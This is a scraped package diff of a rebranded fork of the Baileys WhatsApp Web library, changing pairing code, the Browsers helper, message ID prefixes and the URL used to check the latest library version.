signedIdentityKey.public,
|
|
174
|
+
accountSignatureKey
|
|
175
|
+
]);
|
|
153
176
|
account.deviceSignature = crypto_2.Curve.sign(signedIdentityKey.private, deviceMsg);
|
|
177
|
+
|
|
154
178
|
const identity = (0, signal_1.createSignalIdentity)(jid, accountSignatureKey);
|
|
155
179
|
const accountEnc = (0, exports.encodeSignedDeviceIdentity)(account, false);
|
|
156
|
-
|
|
180
|
+
|
|
157
181
|
const reply = {
|
|
158
182
|
tag: 'iq',
|
|
159
183
|
attrs: {
|
|
@@ -175,27 +199,27 @@ const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, s
|
|
|
175
199
|
}
|
|
176
200
|
]
|
|
177
201
|
};
|
|
202
|
+
|
|
178
203
|
const authUpdate = {
|
|
179
204
|
account,
|
|
180
|
-
me: { id: jid, name: bizName },
|
|
205
|
+
me: { id: jid, name: bizName, lid },
|
|
181
206
|
signalIdentities: [
|
|
182
207
|
...(signalIdentities || []),
|
|
183
208
|
identity
|
|
184
209
|
],
|
|
185
|
-
platform: platformNode
|
|
210
|
+
platform: platformNode?.attrs.name
|
|
186
211
|
};
|
|
212
|
+
|
|
187
213
|
return {
|
|
188
214
|
creds: authUpdate,
|
|
189
215
|
reply
|
|
190
216
|
};
|
|
191
217
|
};
|
|
192
218
|
exports.configureSuccessfulPairing = configureSuccessfulPairing;
|
|
219
|
+
|
|
193
220
|
const encodeSignedDeviceIdentity = (account, includeSignatureKey) => {
|
|
194
|
-
var _a;
|
|
195
221
|
account = { ...account };
|
|
196
|
-
|
|
197
|
-
// or if we are including the signature key but it is empty
|
|
198
|
-
if (!includeSignatureKey || !((_a = account.accountSignatureKey) === null || _a === void 0 ? void 0 : _a.length)) {
|
|
222
|
+
if (!includeSignatureKey || !account.accountSignatureKey?.length) {
|
|
199
223
|
account.accountSignatureKey = null;
|
|
200
224
|
}
|
|
201
225
|
return WAProto_1.proto.ADVSignedDeviceIdentity
|
package/lib/Utils/generics.js
CHANGED
|
@@ -10,7 +10,7 @@ const crypto_1 = require("crypto");
|
|
|
10
10
|
const os_1 = require("os");
|
|
11
11
|
const fetch_1 = require("node-fetch")
|
|
12
12
|
const WAProto_1 = require("../../WAProto");
|
|
13
|
-
const baileys_version_json_1 = require("../Defaults/baileys-version.json");
|
|
13
|
+
const baileys_version_json_1 = require("../Defaults/denzy-baileys-version.json");
|
|
14
14
|
const Types_1 = require("../Types");
|
|
15
15
|
const WABinary_1 = require("../WABinary");
|
|
16
16
|
const baileysVersion = [2, 3000, 1027934701]
|
|
@@ -21,14 +21,16 @@ const PLATFORM_MAP = {
|
|
|
21
21
|
'android': 'Android',
|
|
22
22
|
'freebsd': 'FreeBSD',
|
|
23
23
|
'openbsd': 'OpenBSD',
|
|
24
|
-
'sunos': 'Solaris'
|
|
24
|
+
'sunos': 'Solaris',
|
|
25
|
+
'linux': undefined,
|
|
26
|
+
'haiku': undefined,
|
|
27
|
+
'cygwin': undefined,
|
|
28
|
+
'netbsd': undefined
|
|
25
29
|
};
|
|
26
|
-
exports.Browsers = {
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
windows: (browser) => ['Windows', browser, '10.0.22631'],
|
|
31
|
-
appropriate: (browser) => [PLATFORM_MAP[(0, os_1.platform)()] || 'Ubuntu', browser, (0, os_1.release)()]
|
|
30
|
+
exports.Browsers = (browser) => {
|
|
31
|
+
const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu';
|
|
32
|
+
const osRelease = os_1.release();
|
|
33
|
+
return [osName, browser, osRelease];
|
|
32
34
|
};
|
|
33
35
|
|
|
34
36
|
const getPlatformId = (browser) => {
|
|
@@ -174,7 +176,7 @@ const generateMessageIDV2 = (userId) => {
|
|
|
174
176
|
};
|
|
175
177
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
176
178
|
// generate a random ID to attach to a message
|
|
177
|
-
const generateMessageID = () => '
|
|
179
|
+
const generateMessageID = () => 'DENZY-ZERODAY-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
|
|
178
180
|
exports.generateMessageID = generateMessageID;
|
|
179
181
|
function bindWaitForEvent(ev, event) {
|
|
180
182
|
return async (check, timeoutMs) => {
|
|
@@ -271,7 +273,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
|
271
273
|
* Use to ensure your WA connection is always on the latest version
|
|
272
274
|
*/
|
|
273
275
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
274
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
276
|
+
const URL = 'https://raw.githubusercontent.com/Denzy-Z3roDay/baileys/master/src/Defaults/baileys-version.json';
|
|
275
277
|
try {
|
|
276
278
|
const result = await axios_1.default.get(URL, {
|
|
277
279
|
...options,
|
package/lib/Utils/index.d.ts
CHANGED
|
@@ -2,7 +2,7 @@ export * from './generics';
|
|
|
2
2
|
export * from './decode-wa-message';
|
|
3
3
|
export * from './messages';
|
|
4
4
|
export * from './messages-media';
|
|
5
|
-
export * from './
|
|
5
|
+
export * from './Denzy-connection';
|
|
6
6
|
export * from './crypto';
|
|
7
7
|
export * from './signal';
|
|
8
8
|
export * from './noise-handler';
|